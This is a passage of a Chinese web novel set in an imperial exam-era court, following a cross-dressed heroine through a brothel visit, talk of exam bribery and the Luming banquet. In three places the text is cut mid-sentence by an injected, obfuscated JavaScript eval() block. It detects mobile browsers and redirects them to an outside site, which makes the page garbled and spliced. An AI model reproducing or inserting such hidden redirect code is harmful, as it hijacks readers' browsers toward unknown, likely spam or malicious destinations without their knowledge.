这些都是破绽,好在沈昭此时并不十分清醒,因而并没有追问,也并未发现叶青言此时的异样,闻言,他摆了摆手,脸色看着有些不高兴:“我看你就是故意的,你就是想转移话题,我告诉你,我聪明着呢,可没那么好骗,你就说你要不要陪我去吧!” 说罢,他又嘟嘟囔囔起来:“不就是去逛个青楼吗,这有什么好犹豫的,真是一点儿也不大气!” 叶青言无奈,心想到底是谁不大气?是谁在像小孩子一样赌气?但她没有办法,因为醉鬼,尤其是这种还留有三分理智的醉鬼是最不讲道理,他们自有一套属于自己的逻辑。 叶青言脑子飞快转动着,很快她就想到了个说辞:“甜水巷做的是夜间生意,现在去还早了些。” 沈昭一愣,道:“那咱们等晚点了再去。” 叶青言眨眼:“我都陪你们一天了,晚上怎么都得回府同母亲一块儿用膳。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076397|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈昭微恼说道:“你就是不愿陪我去!” “我不否认。”叶青言也不隐瞒,“因为没有必要。” “什么。” “苏姑娘眼下就在天香坊,你想要歌舞庆祝这儿也不是没有,又何必舍近取远非要去一趟甜水巷?” 沈昭眨了眨眼:“好像是这个道理?” “那不就解决问题了?” 沈昭又眨了眨眼,思考,然后点头。 叶青言稍稍松了口气。 不多时,天香坊楼顶便响起了旖旎的丝竹之声。 柔美的音乐声里,数名衣裳单薄的女子行来走去,如花中蝴蝶一般舞动。 沈昭一手拎着酒壶,一手搂着位少女歌姬,看着叶青言说道:“这才是庆贺该有的样子!可惜呦呦姑娘已经离开了。” 沈昭说话的时候,那名少女歌姬依在他的怀里,仰着脸看着他,眼睛里满是倾慕与幸福。 沈昭挑了挑眉,当下就给美人儿喂了颗葡萄,画面瞧着很是放浪形骸。 叶青言身边也坐着一名少女,但这姑娘的神情却有些幽怨,因为叶青言坐得太过规矩,也因为对方从始至终连她的一根手指都没有碰。 沈昭看着叶青言的坐姿,再次挑了挑眉,失笑道:“你也太不给你身旁这位姑娘面子了。”说完这话,他眼疾手快地把叶青言案上的碗夺了过来,把碗里的茶水倒掉,换成从扬州来的琼花露。 叶青言摆手说道:“我说过不喝酒了的。” 沈昭很是无奈,说道:“你刚刚考完乡试,我这是在替你减轻压力。” “只是你觉得我有压力。”叶青言瞟他一眼,淡淡回答。 沈昭被噎得无言以对。 叶青言正襟危坐,很认真地欣赏着面前的歌舞表演,看到精彩处还会拍手赞赏。 沈昭看了看叶青言,又看了眼在堂间旋转不停的那位舞姬,忽然展颜一笑,随即不动声色地将案上碟子里的一粒花生弹了出去。 花生击打在那舞姬的膝盖上,倒是不重,只是位置太过敏感,那舞姬一个立足未稳,便斜斜地朝着叶青言怀中摔去。 叶青言几乎是瞬间就伸出了手,动作十分迅速,她稳稳地扶住那名舞姬,甚至没有让对方靠近自己,仿佛在躲什么洪水猛兽。 “姑娘你没事吧?”叶青言扶住女子,关切问道。 趁着叶青言没有注意,沈昭又朝舞姬扔了颗花生。 这名舞姬也是惯作风流的人物,见多识广,哪里能不明白沈昭的意图?她先是微嗔了沈昭一眼,然后温柔望向叶青言,吐气如兰,轻声说道:“奴家似乎有些不胜酒力。” 说话的同时,她很自然地往叶青言的怀中倚去。 叶青言当然没有让人得逞,她礼貌地推开舞姬,将对方扶正,确认对方再不会摔倒,才松手放开,微颔首示意,而后重新坐了回去。 无论是屋里的一众姑娘,还是沈昭都默了一瞬,他们静静地看着叶青言,不一会儿,众人纷纷笑了起来,尤其是沈昭,更是笑的眼泪都差点流了出来。 “阿言你也太有意思了。” 便是那舞姬也笑着说道:“是奴家魅力不足。” 叶青言却是摇头,很认真地看着那名舞姬,很认真地道:“姑娘你很好,尤其是你的舞,跳得极好,我很喜欢,只赏这舞便已不虚此行。” 舞姬一怔,过了好一会儿才回过神来,她仔细地整理了衣着,然后对着叶青言恭敬行礼:“谢谢您的青睐。” 屋里一片安静。 之后这名舞姬和屋里的其他姑娘都不再理会沈昭,而是认真地表演给叶青言看。 是的,只是弹琴和跳舞。 便是一直依偎在沈昭怀中的那名少女也站了起来,加入到演奏的队伍当中,她的古筝弹得极好。 这些如花般的姑娘们沦落风尘都非自愿,她们这么多年所遇到的客人也只将她们当成玩物,唯有眼前这名小公子将她们当成一个人,一个技艺超凡、值得钦佩的人。 过完了今天,她们或许还得继续做卖笑的玩物,但至少这一刻,她们想做一个人,一个有尊严、有骨气的人。 38. 南方变故 南苑学宫。 花厅。 正是午膳时间,学子们三三两两地聚在花厅里用膳,席间间或小声地交谈着什么。 气氛瞧着很是轻松愉快。 叶青言和林翊、沈昭两人坐在花厅后方的一扇长窗旁,长窗外是一片青翠的竹林,虽已是秋末,可竹林苍苍,半点也看不出寒露将至。 叶青言三人围桌而坐,他们面前的小长桌上摆着数道样式精美的菜肴。 色泽鲜丽的白切鸡,蒸得嫩嫩的桂花鱼,素煎杏鲍菇,嫩薄荷清炒鸡蛋,蟹黄豆腐羹,还有一道鹅脯。 每一道菜的味道都很不错,三人经过一个上午的课程,都有些饿了,纷纷举箸而食。 他们安静地用着饭,直至饭尽菜无,才终于有了说话的功夫。 当然,这里主要指的是沈昭,毕竟平常用膳时也就他的话最多。 沈昭有一搭没一搭地说了些对课业的抱怨。 林翊不时回他几句。 两人说着说着又说到了此次乡试的结果上去。 “我方才听林襄他们说这次乡试的阅卷方式与以往的不同,以前科考,考官们基本都以第一场的八股文章来评定高低,但这一次,在主考官赵吉的要求下,考官们是把三场考试的卷子都看完了才评选的名次,这可是真的?” 林翊:“确实如此,为此,乡试出榜之前赵大人和张大人还特意进宫了一趟。” 沈昭恍然:“我就说怎么没在榜单前面见着那些在赌坊赔率靠前的名字,原来都是些纸上谈兵的花架子啊。” “倒也不算花架子,那些人既能名声在外,自然都是有本事,他们只是被所谓的惯例给误导了,因而对后面的两场考试没那么上心。”叶青言微垂着眼,低声说道。 林翊对此却不认同,说道:“这也只能怪他们自己不会审时度势,赵大人和张大人都是实干派,会有此决策并不让人意外,再者此举也并无不妥,乡试既然设了三场,自然有其用意。” 叶青言想了想,也觉得有理,审时度势,迎合考官们的喜好,何尝不是科考的其中一个部分? 沈昭也点头表示赞同,顿了顿,他又道:“今年的乡试还真不太平啊,我今早出门前还听二哥说苏州府那边也出了些岔子。” 叶青言和林翊纷纷看了过去。 沈昭眨了眨眼:“你们还不知道吗?苏州府那边出现了当地的同考官被人贿赂,徇私枉法的事儿,我三哥昨天半夜就奉圣命赶过去处理了。” 沈昭的三堂兄沈暄是都尉司的左副都尉,天子近臣,掌皇帝仪仗护卫,对于陛下的行动,都尉司的几位首领一向都知道的比旁人要快一些。 “原来昨晚从南面八百里加急送进皇宫的奏报讲的是这个啊。”林翊若有所思,轻声说道,“看来是有人不想科考再继续顺利下去了。” 叶青言看了看四周,发现花厅里已没有多少人了,用完膳的学子们纷纷离开,只剩下为数不多的几人还在埋头苦吃,并没有人注意他们这边。 “舅舅才不会让人得逞。”沈昭抓了把瓜子悠哉悠哉地嗑着,显然对嘉和帝十分有信心。 林翊不置可否,科举是父皇一力推行的国策。父皇做事贯来周全,想来他定设想过各种变故,并做好了相应的应对措施。 高家要想在科举制度上横插一脚,简直妄想。 想到高氏,林翊不由又想到了高贵妃,她已解了禁足,但父皇对她,却不似以往宠爱。 再联想父皇最近在朝堂上的一些分权政令……难道父皇曾经所为,真的只是在利用高贵妃? 思及此,林翊抿了抿薄唇,扯成一道深压的线。 不同于林翊和沈昭,叶青言却是想到了别的方面。 她道:“可他们是怎么做到的?乡试不比童试,所有的卷子呈上前都会遮去考生的名字,再经誊录生誊抄,才能被送到考官处批改,那个被收买的同考官如何能在那么多卷子里找出他想要的那一份?” 沈昭回想了二哥早上的话,道:“据说是借助一些虚词。” 林翊一听就懂了,说道:“八股文里有很多用以起承转合的虚词,诸如而已、矣之类的,他们只需事先把这些必不可少的虚词按一定顺序排列,以此为暗号,自然就能找到这些试卷。” “原是如此。”叶青言了然,“倒是心思巧妙。” 虽学生们走了不少,可花厅到底人多眼杂,所以三人也没有继续这个话题。 不一会儿,便有宫人上前收拾碗碟。 沈昭见状,眼不带眨地又抱怨起了谢夫子的严厉。他慵懒地靠在椅背上,满口都是不正经。 收拾的宫人们跟鹌鹑似地低着头,只恨自己还有一双耳朵。 叶青言抬眸与林翊对视了一眼,随即相视一笑。 沈昭唇角微微上扬,同时眼底也浮起了笑意。 收拾好桌子,宫人们又斟了三碗香茶上来。 沈昭顺势拿起其中一杯喝了,随意地问了林翊一个问题。 “我听母亲说你的皇子府快修葺好了?” 林翊颔首:“已经修葺好了,待过完初八的生辰,我就能搬出去自己住了,到时邀你们过府一叙。” “那可太好了!等咱们日后聚会,你再也不用被催着先走了!”沈昭非常激动,甚至已经开始畅想未来,“也不知陛下会什么时候给你封王,封个什么王。” 林翊闻言耸肩:“我上头那个都还没封呢,哪里能先轮到我?” 按照庆朝的惯例,皇子开府会连着封王旨意一起下达,可大皇子从去年开府至今也没有被陛下封王。 眼下二皇子生辰将近,看陛下的态度,似乎也没有要给封王的意思。 朝臣们都很疑惑,纷纷上书请封,但都被嘉和帝压下。 有心人猜测陛下此举与储君之位的归属有关,可即便皇子们被封了王也不是不能再被立为太子,这个猜想很快又被众人否决。 没有人知道嘉和帝是怎么想的。 林翊自然也不知情,他下意识朝叶青言的方向看了一眼…… 叶青言不知何时往外挪了些位置,她坐在阳光里,视线也没有再落在林翊两人身上,而是看向了长窗之外。 风从园里来,吹拂得廊下的竹铃啪啪作响。 叶青言坐在花厅的屋檐下,斜倚着门框,静静看着园子里随风簌簌而落的竹叶。 起伏的竹林如碧波,竹涛阵阵,飘渺悠远得宛如秋日里的一曲挽歌。 叶青言看着眼前景象,难得的昏昏欲睡起来。 林翊其实早就发现今天的阿言有些精神不济了,她昨夜定出了什么特殊的状况。林翊不喜欢叶青言有事隐瞒自己,也不喜欢有关她的事情超脱自己的掌控,这会让他觉得焦躁。 他看着她,问道:“阿言你今天是怎么了?方才课上谢夫子也看了你好几眼,是昨天没有睡好吗?” 旁边正嗑着瓜子的沈昭闻言,轻笑了出来。 叶青言闻声看向沈昭,见人模样,只觉一口气堵在心口,气闷道:“你还笑?我会犯困还不是你昨晚非诓我去甜水巷闹的。” 昨日的歌舞表演因为叶青言的态度而变成了歌舞技术交流,在场的姑娘们也从娇媚可人的少女变成了不苟言笑的艺术家,沈昭自然不开心,因而从天香坊出来后他就开始闹腾,最终将无可奈何的叶青言诓去了甜水巷。 林翊闻言惊了,下意识脱口而出:“你昨晚去甜水巷了?” 话落,再看叶青言这一脸精神不济的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079688|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,林翊只觉心头一滞,一股怒气顿时冲上脑门:“你碰那儿的姑娘了!” 这似是抓了自己妻子通奸一样的语气让叶青言愣怔了一瞬,她眨了眨眼,还没来得及开口说话,就听沈昭说道:“哪呢,我昨儿叫的都是雏儿……” 沈昭话没说完,迎面就飞来一只茶盏,他连忙躲开,惊道:“表哥你干嘛呢!” 可一抬头,就见对面的林翊目光冷冽,沈昭差点没被嘴里的瓜子噎住。 “你以后再带阿言去那种乱七八糟的地方我就把你养在外面的人都送到姑母跟前去!”林翊冷声说道。 沈昭怔住,大约是没想到林翊居然会这么生气,愣怔过后,是不解,十分的不解。他不明所以地看着林翊,莫名其妙道:“我们又没做什么,就只是喝了顿花酒,你干嘛这么生气?” 林翊也察觉到自己的失态,他抿了抿唇,没有回答。 见人这心虚的表情,沈昭更加理直气壮起来,继续说道:“况且我们昨晚也没有做什么,阿言过分的很,连件衣裳也不肯脱,甚至姑娘们的手都不愿碰一下,惹得那些姑娘都来找我告状,我昨晚明明什么也没有做,却还是花去了一大笔银子。” 林翊听了这话,心里的郁气稍减了些,他看向叶青言,出口的语气依旧生硬:“淮之胡闹也就算了,你怎么也跟着他一起胡闹?” 叶青言还处在惊讶的状态之中,没有回答林翊这个问题。 林翊见人不语,唇角的弧度平了,他有心生怒,可又瞧见对方茫然的双眼,怒气的火苗就像被泼了水般熄灭。 沈昭却是连连喊冤:“我怎么就胡闹了?我的殿下啊,兄弟们出去逛个花楼你也管,是不是管的太多了?” 林翊一噎,理不直气也壮道:“阿言还小呢,我当然得看着一些。” 沈昭用看怪物似的眼神看着林翊:“她都要十六了,还小呢!” “如阿言这般模样的少年可不是随随便便的女人都能伺候的,你下次不许再带她去那种地方。等回头我从宫里挑个最好的宫女给你。”后面这话,林翊是对叶青言说的,他看着她,神情很自然,语气很随意。 叶青言正喝茶以掩饰尴尬,闻言差点呛住,连连摆手道:“不必不必。” 林翊眉眼微微一动,他看着叶青言,幽幽说道:“怎么?阿言这是昨夜已经有了入眼的姑娘?” “没有!”叶青言连忙否认,“我……我还小呢。” 林翊显然很满意这个回答,嘴角有了微微上扬的弧度,说道:“也是,这几年我先给你留意着,不急。” 沈昭着实不能理解这两人关于“小”的概念,十五都能成亲了,还小呢? 林翊的目光始终落在叶青言的脸上,从眉骨到翘密的睫羽,再从高挺的鼻梁到粉色的双唇……看着看着,喉间情不自禁一滚。 叶青言突然望了过来,二人目光相对,生出些许的微妙,让人心跳略快的微妙。 林翊故作不经意地移开目光,问:“今晚的鹿鸣宴何时开始?” 这是没话找话,但叶青言不懂,听人换了话题,很是松了口气,道:“酉时开始。” 林翊这才确认她并未从自己刚刚的失态里觉察出什么,有些庆幸,又有些失落,顿了顿后,说道:“那你午后得早些离开。” “我正要同您说这件事。” 林翊点头,嘱咐道:“少喝些酒。” “我知道的。” “今晚也别在外面待太晚,早些回去休息,你昨日休息的不好,眼下都有些青黑了。” “嗯,殿下您也是。” “……” 沈昭听着两人这一如往常的对话,若有所思,他怎么觉得这画面瞧着怪怪的?不对劲,很不对劲。 39. 鹿鸣宴中 这日酉时。 鹿鸣宴准时开始,中举的考生们齐聚贡院,把酒言欢,以答谢师座。 鹿鸣宴之名取自《诗经·小雅》中的《鹿鸣》篇章。 ——呦呦鹿鸣,食野之苹。我有嘉宾,鼓瑟吹笙。 ——呦呦鹿鸣,食野之蒿。我有嘉宾,德音孔昭。 ——呦呦鹿鸣,食野之芩。我有嘉宾,鼓瑟鼓琴。 场中丝竹所奏,正是这一曲《鹿鸣》。 鹿鸣宴虽比不得琼林宴由天子亲自赐宴,却也十分重要,新进的举人老爷们需得脱蓝换青、簪花披红,一道拜谒孔圣,而后才能入座宴饮。 月光透过云影铺洒而下,时亮时黯,庭院两旁的花木在风里轻轻摇晃。 宴会上,叶青言又见到了顾逍,只见他穿着一身洗得有些发白的举人公服,衣裳并不十分合身,却难掩其一身风华才气,两人相互行礼恭贺,正是万众瞩目之时,不便谈话,他们便没多说什么。 除了顾逍,叶青言还在席位上看到了高崎。 高崎是高旭的第三子,自幼便有才名,他本是此次乡试的大热人选之一,结果却只排在了桂榜第九。 第九这样的名次已属前列,可对一贯心高气傲的高崎而言,却是大辱,奇耻大辱,因而他此时的面色很是有些难看,若非鹿鸣宴无故不得缺席,他甚至不愿前来参宴。 这样的宴会,对于普通的举人来说,是大好良机,毕竟若能在宴会上得到座师的一两句指点或结交一些有身份地位的同窗,那无论是对他们今后的人脉仕途,还是后面的春闱都大有助益。 可对于高崎这样家世地位的人而言,这种宴会就十分鸡肋了。以高崎的家世,本也无需师座们的指点,更不用依靠其他人来拓展自己的人脉,亦或者说,他本人,才是那个人脉。 座师至,宴席始。 叶青言作为本次乡试的解元,站在正前方,领着一众举子一齐向两位大人行礼:“拜见座师。” 赵侍郎含笑示意众人落座,略略寒暄几句,便宣布开席。 举子们三三两两地相互道贺。 叶青言作为榜首,向她贺喜的人自然不少,因而她的面前聚集了不少的人。 除了叶青言,高崎身边也围了不少举子。 身为高氏子孙,即便高崎名次不高,也会有不少知其身份的世家子弟特意上前与其攀谈结交,更遑论他此次成绩并不差。 高崎兴致不高,整个看着恹恹的,只那一双眼睛,格外阴厉。他立在人群之中,视线不时地往叶青言所在的方向扫去,但好在他还算有分寸,并没有上前去找叶青言的麻烦。 觥筹交错,宴至酣处。 时间很快来到座师们指点众举人文章的环节。 按规,乡试前十名的卷子,两位主副考官需一一点评,而后面的名次,则随缘,随性而点。 叶青言作为解元,自然是第一个起身接受两位座师指点的。 赵侍郎看着面前身姿英挺的少年,毫不吝啬对她的赞赏:“你所作之文章,文风清正,见解独到,所述观点有理有据,遣词造句亦直接了当,便是叫本官去改,也找不出一个多余的字来,甚好。” 微顿了顿,赵吉的视线扫过台下众人,徐徐又道:“本次乡试因为评卷规则有所变动,所以考官们对卷子的排名多多少少都有些异议,但你的卷子被点为魁首,却是唯一没有争议的,可谓众望所依,望你莫要懈怠,始终勤学进步。” 便是一直绷着脸的张和张府尹也笑着夸奖了叶青言的文章,末了,他问道:“来年春闱,你可会下场一试?” 叶青言点头:“学生确实有此打算,虽说学问学之不尽,学生亦知晓自己还有浅薄之处,原踌躇着是否要再磨三年,可后一想,又觉世间岂有万全之时?机会来了便应搏上一搏。” “说得好。”赵侍郎抚掌而叹,“当机立断,胸有成算,你倒是颇有乃父之风。” 叶青言闻言一怔,随即恭敬作揖道:“谢座师赞。” 赵吉摆了摆手,示意他落座。 叶青言又作了一揖,这才撩袍落座。 在场举子无不艳羡地看向叶青言,高崎也是死死地盯着她。 他看过叶青言被贴在贡院外的那篇文章,即便高崎再如何不忿也不能否认那篇文章确实写得不错,无论是破题还是立意,都属上佳,被点为魁首并无不妥,家中师长亦是如此态度。 这也是高崎为何这般不忿,却始终没有去找叶青言麻烦的最主要原因。 他不想自取其辱。 之后起身的是本次乡试的亚元、经魁、亚魁……赵侍郎一一给出点评,举子们纷纷表示受教。 点评至第九份卷子时,赵侍郎刚刚语落,便听高崎扬声问道:“学生自认这篇文章写得尚算不错,缘何只有第九?还请赵大人解惑。” 这样的发问,等同是在质疑考官们评卷的公允,场下之人闻言,皆屏息不敢言语。 但也有不少学子对此分外关注,他们都是声名在外的才子,可此次的名次却不理想,此前他们也不敢多说什么,毕竟考官们是替朝廷遴选举子,是奉了天子之命。 眼下听人提起这个疑问,他们自然关注。 赵吉闻言心下不快,可他到底是老官场了,也深知高崎背后的势力,于是认真说道:“你这篇文章破题极妙,立意也可,然辞藻过于华丽,见解亦是不足,叫人意犹未尽,还需继续磨练,如此方能再上层楼。” 高崎自是不满这样的评价,还欲再问,却听旁边一直没有开口的张府尹道:“八股策问最紧要的是将笔下所写付诸到应用,你的文章确实见解新奇,然入题疲软,中股部分不求甚解,这样的文章只能算是平庸,若非你后面两场考试成绩突出,根本无缘前十。” 此言一出,场间顿时一片安静。 高崎的脸色变得十分难看,他一直以为自己是受后两场考试的拖累,才未能进入前三,而今对方却告知说他是因后两场考试表现得足够出色,才能进入的前十。 张府尹从不是什么圆滑的性子,他看着高崎,继续道:“朝廷设立科举是为了选拔人才,何为人才?能针砭时弊,能书写治国良策,能为百姓伸冤造福的,方能被称之为人才。”微顿了顿,张和的目光缓缓从众人身上扫过,说道,“只知纸上谈兵的,那不是人才,是庸才。” 场间又是一片安静,没有任何声音,远处隐隐传来一声鸟鸣,却显得此间更加安静起来。 高崎死死地盯着张和,恨不得生啖其肉。 其他举子亦都看着高崎,脸上的情绪非常多样,有敬畏、有心虚、有惘然、有炽热、有激动……不一而足。 突然,举子里有两个人站了起来,分别是叶青言和顾逍,二人相互对望了一息,而后一齐对着张和行礼,恭敬道:“学生谢座师指点。” 其他考生见状,也纷纷站起道谢。 张和看着场间众人,心里略略有些欣慰,缓缓再道:“你们未来头上的乌纱帽也不仅仅只是一顶乌纱帽,那是你们对皇上、对百姓、对江山社稷的承诺,望尔等谨记。” 月光从云层的边缘漏下来,落在张和严肃的脸上,散射出淡淡的光线。 “学生谨记。” 赵吉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083677|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环视众人,目光在高崎的面上定了一息,而后抬手拿起第十份卷子,继续点评。 …… 点评之后,饮宴继续,众人就着当今实事侃侃而谈。 虽刚被张府尹训诫过,可文人相轻,书生意气,聚到了一块,不让说上几句是不可能的。 到了宴会的后半场,举子们把酒吟诗,趁着春风得意之时纷纷留墨,这也是鹿鸣宴气氛最高的时候。 叶青言被灌了不少酒,已经有些头重脚轻了,她趁着众人不备悄悄离开位置,到外边去透气。 走到外围,新鲜的空气涌入口鼻,叶青言这才觉得自己又活了过来。 “叶公子?” 叶青言闻声看去,就见前方不远处的阴影里站着另一个醒酒的人。 ——是顾逍。 “原来是你。”叶青言笑道,“顾公子也是出来醒酒的?” 顾逍不好意思地点了点头:“我平常很少喝酒,今日喝得有些多了。” 叶青言表示自己亦同:“回去后得多练练酒量了。” 顾逍深表赞同,他摇了摇脑袋,似乎想把脑中的醉意摇掉,却没能成功,反而更觉头晕,踉跄着往旁边跌了几步。 叶青言看他这呆呆傻傻的模样,不由笑出声来。 这一声笑,或许无心,却是灿烂至极,直看得顾逍心头一荡,莫名红了脸。 叶青言也觉察到失态,忙敛了笑容,温声道:“失礼了。” 顾逍回过了神,忙道:“无妨的。”说罢,抬手揉了把脸,微微苦笑,“是逍酒后失态,让公子见笑了。” 叶青言摇头:“顾兄虚长我几岁,唤我表字思砚即可,无须如此客气。” “那我就却之不恭了,叶……思砚贤弟也可唤我的表字殊泽。” “殊泽兄。”叶青言笑唤道,此时月光正盛,皎洁的光芒从头顶撒下,更衬其鬓间发丝如漆,顾逍不由看得痴了。 “怎么?”注意到他的视线,叶青言问道。 “没什么。”顾逍轻咳一声,有些赧颜,随即说起别的话题,“方才听思砚你与侍郎大人说的那些防汛方案,虽然精彩绝伦,可我怎么觉得,还有未尽之言?” 叶青言诧异地看了顾逍一眼,心想这人的政治嗅觉倒是灵敏。 “场合不对,所以有些话不能全说白了,防汛虽是民生,却也涉及诸多利益,我等还非朝廷官员,不宜涉入太多。” “原是如此。”顾逍了然颔首。 叶青言微笑了笑,她没有说的是,作为二皇子的伴读,很多话从她的嘴里出来,所代表的意义不同,所以她才没有深入说明。 “除了防汛,还有很多地方也需慎重以待,诸如田税、人头税、徭役等等,都是直接决定老百姓的日子好过与否的关键政令。” 顾逍怔怔看着叶青言,似乎没想到她一个贵族子弟,所思所想,竟会是这些与底层百姓生活息息相关的问题。 叶青言说完,笑着反问:“殊泽兄可有见解?” 敬座师们要喝,敬房管们要喝,其他举子们过来敬酒道贺,还是要喝,叶青言是真得喝得有些高了。她此时虽理智尚在,却也不像平日那般紧绷,只见她神态慵懒,姿势随意,加上那身青色的广袖宽袍,看上去仿佛魏晋名士一般。 顾逍盯着她看了半晌,直看到叶青言都有点发毛了,才憋出一句话:“思砚贤弟心怀民生,记挂黎民,我实不如也,从今往后,愿与君共勉,盼能以微末之身,为天地立心,为生民立命,为往圣继绝学,为万世开太平!” 叶青言一怔,随即笑道:“言亦愿与君共勉。” 40. 鹿鸣宴后 作为本次乡试的解元,叶青言不能离席太久,很快她就被人给叫了回去。 一屋子意气风发的举人聚在一起,这个刚敬完酒,那个又端了酒过来,任叶青言在如何低调躲闪,也被灌了不少。 再加上她的酒量只能算是寻常,这么一通喝下来,着实有些招架不住,肚里仿佛被烧了把火般,难受的厉害。 她很想吐,可她一直忍着,她想等人散了以后再去净房里吐,不想她旁边位置的亚元陈成却先她一步吐了出来。 陈成还算有点清醒,他是冲到墙边吐的,没有将污秽吐在席位上,周围有还清醒些的人见状,忙追了上去,那人一手扶住陈成免得他栽倒,另一手轻轻地替他拍着背。 赵吉见状,顺势站起,笑说了几句场面话后,便宣布散席。 叶青言强撑着最后一丝理智同众人道别,而后她大步地朝着位于下风方向的净房走去,到了后头,她几乎是跑着冲进净房的,撑靠着围栏,翻天海地地吐了一通。 等她吐够了走出净房,就看到在前方不远处树下等着的顾逍。 “思砚你没事儿吧?”顾逍关切道,他一边说,一边将手里的一杯清茶递给叶青言。 叶青言接过茶杯,有些不好意思地道了声谢,然后背过身去,仔仔细细地漱了口。 “看来比起贤弟,为兄的酒量还是要好一些的。”顾逍笑着打趣道。 漱过了口,叶青言舒服了好些,闻言,便也故作失落接道:“原来需要多练练酒量的只有我而已啊,真是惭愧惭愧。” 顾逍显然没有料到叶青言竟会是这样的反应,一时有些愣神,等反应过来,面上的神色不觉松快许多,笑着再道:“贤弟是该多多练习,此番不过乡试登科,便已醉酒至此,待来日一甲及第,可怎生是好?届时的琼林宴可不是这么简单就能散场的。” 叶青言闻言,有些惊讶,观顾逍文风,以及他平常处事的风格,不似会讲出这般言语之人。 然仅一瞬,叶青言就明白了其中的道道,顾逍此回名列前十,席上应也饮了不少酒,再加上自己今日同他也算相谈甚欢,会放松警惕,也属正常。 这只是对方随意的一句谈笑,自己若过多解释,反而不好,故而叶青言微挑了挑眉,笑道:“那到时,还是要劳烦殊泽兄你再给我送一盏茶水过来。” 顾逍大笑起来,拱手言道:“那就等来年春时,与君共登杏榜。” 叶青言也拱了拱手,道:“与君共勉。” 秋日的夜晚隐隐弥漫起湿意,有风微作。 皎白的月色与廊檐下悬挂的灯盏,交织出一片昏黄的光。 “时候不早,外头人已走光,咱们也该出去了。”顾逍担忧地看着叶青言,问,“思砚你可还能走?” 叶青言颔首:“我没问题的。” 她刚吐了一场,酒劲下去了很多,走这一点路还不成问题。 言罢,两人便往外走去。 一路上,他们又聊了些学问上的话题,也算相互熟悉。 等两人走出贡院,月已高升,周围一片寂寥,路边只剩下一辆停着的马车。 那正是国公府的马车。 看到叶青言出来,在马车旁焦急踱步的远山立即迎了上来。他已在门口等候多时,却迟迟不见自家少爷出来,他刚都想进去找人了。 “少爷,您没事儿吧?”远山伸手欲扶,又想到自家少爷不喜人碰触,便又收了回来。 “我没事。”叶青言摆了摆手,转而对顾逍道,“今日与殊泽兄相谈甚欢,仍觉意犹未尽,不如我送你一程?咱们车上再聊?” 叶青言其实是看顾逍没有马车相送,想送他一程,但她也知对方是个自尊心强的,不喜受施于人,若是直说相送反倒不美,便寻了这样一个借口。 顾逍又哪里看不出叶青言的意图?但他还是笑着拒绝道:“贤弟你今晚喝得多了,还是早些回去休息,我无碍的,我们农门子弟,身子骨强健,多走几步路不算什么。” 叶青言听罢也没有勉强,说道:“夜晚路黑,便让远山提着灯笼送你,不然我不放心。” 顾逍还欲推辞,又听叶青言再道:“虽说京城治安好,可这会儿毕竟晚了,殊泽兄你如今已经中举,安全回去才是要紧,实不必计较这些小节。” 顾逍想了想,作揖应下:“还是贤弟想的周到,为兄再次谢过。” 两人又相互留了地址,便告辞别过。 叶青言靠坐在马车里,四周一片寂静,唯有车轮碾压青石板的辘辘声不时传入耳内。 马车本来就不大,叶青言又浑身散发着酒气,没过多久,她刚刚那因为呕吐而下去一些的酒劲又冒了上来,难受地她闭起了眼睛。 车厢一路颠簸,等马车回到国公府时,叶青言又再次陷入到醉意可掬的状态,她眯着眼睛下车,连走路都有些不稳。 车夫伸手想要扶她,却被她摆摆手打发。 “天色不早,徐伯你早些回去休息吧。” 自家少爷是个有主见的,只要是她决定的事情,就没人能劝得住。 徐伯无奈,只能叹道:“那少爷您小心一些。”说罢,还小声地嘱咐门房的那几个小厮,让他们盯着一些少爷,远远地送她回去穿云院。 小厮们颔首应下。 其实,即便没有徐伯的嘱咐,小厮们也不会放任醉酒的大少爷独自一人回去院子,万一路上摔着了可怎生是好? 穿云院廊下的灯笼俱都亮着,叶青言尚未归来,院子里的灯自然不会熄灭。 深秋的夜晚,寒意侵人,连带那黄灿灿的灯色也仿佛沾染了寒气一般。 看叶青言走进穿云院,远远跟在她身后的小厮们便也转身折回了门房处。 穿云院虽灯火通明,却是一片冷清,这里拢共只住了三人,自然不可能热闹。 叶青言沿着青石铺就的小道一路往前,很快便来到院子中央的一方小池塘边,四周寂静无声,只有星星在清澈的水里沉浮。 叶青言站在池塘旁边,抬头看了看夜空里的星星,又低头望了望水里的星星,她观察了很长时间,然后闭上眼睛,又沉默地站立了很长时间。她忽然很想对着星池大喊几声。 但她到底还是没能喊出声来。 一来是她从未做过这样的事情,不知该喊些什么;二来是有什么东西始终束缚着她,让她无法大喊出声。 她就这样静静地站在池边,过了好长一会儿,才抬步往主屋走去。 远远一看到叶青言的身影,不时就要到门前张望的望舒立即就迎了出来。 